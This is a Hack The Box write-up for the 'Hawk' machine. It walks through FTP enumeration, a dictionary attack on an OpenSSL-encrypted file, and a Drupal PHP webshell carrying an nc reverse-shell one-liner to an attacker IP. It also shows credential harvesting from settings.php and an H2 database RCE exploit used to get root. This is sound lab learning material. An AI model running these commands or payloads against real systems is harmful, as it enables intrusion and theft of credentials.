Recon
From the beginning, all we know is that Hawk is a Linux machine that lives at 10.10.10.102. Lets start by Nmaping the 10.10.10.102 box, which shows a handful of tcp ports open:
# Nmap 7.70 scan initiated Sat Oct 13 10:46:21 2018 as: nmap -vvv --open -oA hawk_10.10.10.102 10.10.10.102 Nmap scan report for 10.10.10.102 Host is up, received echo-reply ttl 63 (0.11s latency). Scanned at 2018-10-13 10:46:21 EDT for 2s Not shown: 996 closed ports Reason: 996 resets PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 63 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 8082/tcp open blackice-alerts syn-ack ttl 63
The first thing that jumps out at me is that there’s a web server running. Let’s start getting the lay of the land by seeing what’s up with the web server.

There’s no content hosted, so it appears to be a (more or less) stock Drupal install. The robots.txt file initially looked interesting but ultimately was a dead-end. I played around with the “Create new account” and the “Request new password” functions and didn’t find anything interesting.
Let’s check out the FTP server hosted on port 21/tcp.
# ftp 10.10.10.102 Connected to 10.10.10.102. 220 (vsFTPd 3.0.3) Name (10.10.10.102:root): password 530 This FTP server is anonymous only. Login failed. ftp>
hmm ok. The FTP server tells us that it only allows the anonymous user to log in.
Snooping around in the FTP Server
Now that we know that the FTP server accepts anonymous logins, let’s log into the FTP server. When we connect this time, we submit “anonymous” as the password:
# ftp 10.10.10.102 Connected to 10.10.10.102. 220 (vsFTPd 3.0.3) Name (10.10.10.102:root): anonymous 230 Login successful.
After logging in, we find a directory called messages and within it is a hidden file called .drupal.txt.enc:
ftp> ls -la 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 . drwxr-xr-x 3 ftp ftp 4096 Jun 16 22:14 .. -rw-r--r-- 1 ftp ftp 240 Jun 16 22:21 .drupal.txt.enc 226 Directory send OK.
This file could be interesting, so let’s download it:
ftp> get .drupal.txt.enc local: .drupal.txt.enc remote: .drupal.txt.enc 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for .drupal.txt.enc (240 bytes). 226 Transfer complete. 240 bytes received in 0.00 secs (705.9488 kB/s) ftp> exit 221 Goodbye.
Reading the file shows a bunch of Base64 encoded text. This, combined with the .enc file extension makes me think the file is probably encrypted.
# cat drupal.txt.enc U2FsdGVkX19rWSAG1JNpLTawAmzz/ckaN1oZFZewtIM+e84km3Csja3GADUg2jJb CmSdwTtr/IIShvTbUd0yQxfe9OuoMxxfNIUN/YPHx+vVw/6eOD+Cc1ftaiNUEiQz QUf9FyxmCb2fuFoOXGphAMo+Pkc2ChXgLsj4RfgX+P7DkFa8w1ZA9Yj7kR+tyZfy t4M0qvmWvMhAj3fuuKCCeFoXpYBOacGvUHRGywb4YCk=
Base64 decoding the file shows that it’s a bunch of gibberish– This confirms my suspicion that .drupal.txt.enc contains encrypted content.

The only interesting/helpful clue here is that the file starts with “Salted__” before the encrypted gibberish. Googling this shows that this is OpenSSL’s salted format. We know that the file is symmetrically encrypted with OpenSSL because of this format, but the output doesn’t tell us which ciphers were used or any other helpful info.
Dictionary Attack
Admittedly, I’m not a crypto guy, so finding the pathway forward required more researching and Googling than usual. I eventually found a tool on github called bruteforce-salted-openssl written by glv2. Awesome tool, credit to glv2- check out his github for other bruteforce crypto stuff.
I started by playing around with bruteforce-salted-openssl and found out that it doesn’t accept Base64 encoded text.
#bruteforce-salted-openssl -1 drupal.txt.enc Error: drupal.txt.enc is not a salted openssl file.
We’ll need to put this file into a format that plays nice with bruteforce-salted-openssl. This means we’ll need to Base64 decode the file’s contents and work with that.
Base64 decode the text in drupal.txt.enc and stuff it into a file called drupal.txt.enc.base64decoded. Next we feed that file to brute-salted-openssl again and see what happens:
# base64 -d drupal.txt.enc >drupal.txt.enc.base64decoded # bruteforce-salted-openssl -1 -v 1 drupal.txt.enc.base64decoded Tried / Total passwords: 357299 / 2.21919e+14 Tried passwords per second: 357299.000000 Last tried password: 0U7y Total space searched: 0.000000% ETA: Tue 27 Jul 2038 07:11:45 PM EDT
Awesome, so bruteforce-salted-openssl accepted the file and started doing stuff with it. By default bruteforce-salted-openssl will try to blindly bruteforce the password however an ETA of 2038 is not going to work.
bruteforce-salted-openssl has a dictionary attack mode so let’s try that with a wordlist. I used the rockyou.txt list:
# bruteforce-salted-openssl -1 -v 1 -f rockyou.txt drupal.txt.enc.base64decoded Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s. --snip-- Tried passwords: 14344395 Tried passwords per second: 754968.157895 Last tried password: *7¡Vamos! Password not found
Well that sucks, it didn’t find the password.
I tried other lists and none of them seemed to work. It’s important to note that bruteforce-salted-openssl defaults to using a cipher of aes-256-cbc and a digest of md5.

We have no idea of which cipher and digest combination was used to encrypt the file, so we’ll have to blindly try every combination. There’s probably a more elegant solution than my approach but nevermind that. bruteforce-salted-openssl supports tons of ciphers and digests (too many to name or screenshot here) that we’ll have to try. Check it out by passing brute-salted-openssl the -a flag:
# bruteforce-salted-openssl -a Available ciphers: AES-128-CBC AES-128-CBC-HMAC-SHA1 AES-128-CBC-HMAC-SHA256 AES-128-CFB AES-128-CFB1 AES-128-CFB8 AES-128-CTR AES-128-ECB AES-128-OFB AES-128-XTS AES-192-CBC AES-192-CFB AES-192-CFB1 AES-192-CFB8 AES-192-CTR AES-192-ECB AES-192-OFB AES-256-CBC AES-256-CBC-HMAC-SHA1 AES-256-CBC-HMAC-SHA256 AES-256-CFB AES-256-CFB1 AES-256-CFB8 AES-256-CTR AES-256-ECB AES-256-OFB AES-256-XTS AES128 => AES-128-CBC AES192 => AES-192-CBC AES256 => AES-256-CBC ---snip--- Available digests: DSA DSA-SHA DSA-SHA1 => DSA DSA-SHA1-old => DSA-SHA1 DSS1 => DSA-SHA1 MD4 MD5 RIPEMD160 RSA-MD4 => MD4 RSA-MD5 => MD5 ---snip---
A quick sidenote on OpenSSL libraries: I installed brute-salted-openssl on two machines and one of them listed significantly more supported ciphers and digests than the other (my stock Kali 2018.4 box lacked the expanded cipher support). One of the brute-salted-openssl dependencies is the OpenSSL libraries–A stock instance of Kali comes with the OpenSSL application already installed (obviously), which does not include the OpenSSL dev libraries (not so obvious). I initially installed the libraries via:
# apt-get install libssl-devAs it turns out, this is the lesser version of the OpenSSL libraries and you’ll want to install a different version to get the expanded cipher support:
# apt-get install libssl1.0-devAfterwards, reinstall brute-salted-openssl and you should see the expanded support when you run bruteforce-salted-openssl -a
I digress- Lets try running through every possible cipher and digest combination with the rockyou.txt wordlist. The easiest way to do this quickly and efficiently is to script out a simple nested loop in bash that will run brute-salted-openssl with every supported cipher and digest combination. First, write a list of all supported ciphers to a file called ciphers.txt:
bruteforce-salted-openssl -a > ciphers.txt 2>&1
The output of that command (as shown up above) has a few things that we’ll want to fix to make sure it plays nice in our bash one-liner:
- Remove any lines that look like “AES128 => AES-128-CBC”. These are duplicates. To remove these in vi, type :g/=>/d
- Remove the list of digests at the end of the file
- Remove the spaces preceeding the ciphers. To remove these in vi, type :%s/ //g
Next, we need a list of only the digests, so repeat the process for the digests and put the result in digests.txt. Ciphers.txt should only contain a list of ciphers, digests.txt should only contain a list of digests. Pretty straight-forward.
Now, we use those files in a nested for loop via bash scripting:
for c in $(cat ciphers.txt); do for d in $(cat digests.txt); do echo "####cipher: $c ####digest: $d"; bruteforce-salted-openssl -v 5 -t 25 -c $c -d $d -f /bobby_tables/wordlists/rockyou.txt drupal.txt.enc.base64decoded; done;done | tee log
- -v 5 Prints the progress every 5 seconds
- -t 25 Uses 25 threads
- -c $c Variable that holds the current cipher
- -d $d Variable that holds the current digest
- -f /bobby_tables/wordlists/rockyou.txt Points to the rockyou.txt wordlist for dictionary attack
This nested for loop will iterate over every possible cipher/digest combination and should hopefully hit on a potential password. If it does, we will also know the correct cipher and digest, which we’ll need to actually decrypt the file. Allowing this to run for awhile, we hit on a possible password:
---snip--- ####cipher: AES-256-CBC ####digest: SHA256 Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s. Tried passwords: 31 Tried passwords per second: inf Last tried password: carlos Tried passwords: 13973276 Tried passwords per second: 931551.733333 Last tried password: 0611198522 Password candidate: friends ---snip---
Awesome, we have a possible password now as well as the cipher and digest combination that was used when we got the password hit. We have all of the information needed to decrypt the original drupal.txt.enc file that we downloaded from the FTP server.
Lets decrypt drupal.txt.enc with OpenSSL:
# openssl enc -aes-256-cbc -d -a -md sha256 -in drupal.txt.enc -out drupal.txt.decrypted -k friends
- enc command to tell OpenSSL that we want to use the encrypt module
- -aes-256-cbc this is the cipher we want to use
- -d tells OpenSSL we want to decrypt
- -a tells OpenSSL that our input file is Base64 encoded
- -md sha256 tells OpenSSL to use the SHA-256 digest algorithm. This is OpenSSL’s default digest, so we don’t actually have to specify it. I include it here for clarity
- -in drupal.txt.enc points to the input file (the original file we downloaded from the FTP server)
- -out drupal.txt.decrypted tells OpenSSL where to write the decrypted text to
- -k friends password to decrypt with
Let’s check the output file:
# cat drupal.txt.decrypted Daniel, Following the password for the portal: PencilKeyboardScanner123 Please let us know when the portal is ready. Kind Regards, IT department
It worked!
Drupal Webshell
We go back to the Drupal instance at 10.10.10.102 and try the “PencilKeyboardScanner123” password with “admin” and it works- we’re logged into the Drupal instance as admin.
Drupal has a module which can be enabled that will allow a user to copy and paste php into a text box and then execute it on the webserver. This is a terrible idea. I don’t know why this exists but it does.
To get there, navigate to Modules and enable the PHP Filter module, then go into the permissions.

Enable all of “use PHP code text format” permissions and save:

To use use this “feature” we want to add some content. Navigate to Content > Add content > Article
On this page, we would normally add pages and blog content, but in this case we want to add malicious php code that will sent us a webshell so we can get into the server.
We want to tell Drupal that the content we’re adding is executable php code. To do this, select “PHP code” from the text format dropdown:

Now we can copy and paste our php code into the body of the post and it’ll execute. I added php code to directly send myself a shell:
<?php
echo exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.73 8080 >/tmp/f');
?>
We start up a netcat listener on port 8080/tcp of our attacker machine and catch the incoming connection.
# nc -lvp 8080 listening on [any] 8080 ... 10.10.10.102: inverse host lookup failed: Unknown host connect to [10.10.14.73] from (UNKNOWN) [10.10.10.102] 34604
Upgrade the netcat connection to a full shell:
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@hawk:/var/www/html$
Awesome, we have remote command-line access to web server’s underlying operating system.
Shell access
We can see we are the www-data user. Navigate to /home and we can see that there is another user account called daniel on the machine. Inside of daniel’s home directory, is the user flag. Capture that flag!
www-data@hawk:/home/daniel$ cat user.txt d5111d4f75370ebd01cdba5b32e202a8
yay! After getting the user flag, I started enumerating the box and looking for anything that seemed out of place or interesting. I ran down several rabbit holes. For example, I found credentials for Drupal’s backend MySQL database in /var/www/html/sites/default/settings.php:
---snip--- 'database' => 'drupal', 'username' => 'drupal', 'password' => 'drupal4hawk', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ---snip---
I dug though the database and didn’t find anything interesting. womp womp. (This wasn’t a total wasted rabbit hole–I would later discover that the drupal4hawk password was also daniel’s password, so we can now ssh into the machine as daniel.)
Pathway to Root
Next, I looked at the current processes running as root for anything interesting and a few things jumped out at me:
www-data@hawk:/var/www/html$ ps aux | grep root ---snip--- root 789 0.0 0.0 4628 804 ? Ss 15:45 0:00 /bin/sh -c /usr/bin/java -jar /opt/h2/bin/h2-1.4.196.jar root 790 0.1 5.0 2337480 49772 ? Sl 15:45 0:05 /usr/bin/java -jar /opt/h2/bin/h2-1.4.196.jar ---snip---
To be honest, I’m not super familiar with the H2 database. Google tells me it listens on 8082/tcp. Lets confirm that it’s listening for connections:
www-data@hawk:/tmp$ netstat -ano | grep 127.0.0.1 tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0) tcp6 0 0 127.0.0.1:8082 127.0.0.1:50712 ESTABLISHED off (0.00/0/0)
Awesome, it’s listening on port 8082/tcp on localhost just like Google said it would be. We can try to connect to the console but first, let’s see if there’s any exploits available for this thing.
I searched through exploit DB and found a few interesting things.

I did some research into the exploits and the remote code execution looks promising. Its unlikely to crash the machine because its taking advantage of some logic weaknesses, as opposed to manipulating memory or doing other things that can be more risky. Lets give that a try.
Lets transfer the exploit to the victim. On the attacker machine, we set up a netcat listener that will send our exploit code, 45506.py, to any host connecting to our attacker machine on port 5555.
# nc -lvp 5555 < 45506.py listening on [any] 5555 ...
On the victim 10.10.10.102 box, we connect to our attacker, machine which automatically downloads the malicious code to the 10.10.10.102 victim host and writes it into a file called 45506_exploit.py.
www-data@hawk:/tmp$ nc 10.10.14.73 5555 > 45506_exploit.py nc 10.10.14.73 5555 > 45506_exploit.py
Lets run the exploit and tell it to target port 8082/tcp on localhost:
www-data@hawk:/tmp$ python3 45506_exploit.py -H 127.0.01:8082 python3 45506_exploit.py -H 127.0.01:8082 [*] Attempting to create database [+] Created database and logged in [*] Sending stage 1 [+] Shell succeeded - ^c or quit to exit h2-shell$ whoami root
Now we’re root! Goto root’s home directory and capture that flag!
h2-shell$ cat /root/root.txt 54f3e840fe5564b42a8320fd2b608ba0
Win!
I definitely learned a few things on this box. I’m not a huge crypto person so I definitely ran down more than a few rabbit holes with the crypto stuff, which was my favorite on this machine. The Drupal php webshell stuff was fun to play with. Overall, this box isn’t super difficult but mildly challenging in a few key parts and definitively achievable.
There is another way to root this box by connecting to the web based H2 database console and executing some code there. That exploit path was discovered by Matheus Bernardes, awesome work by that dude.
Other htb writeups for this box can be found on github.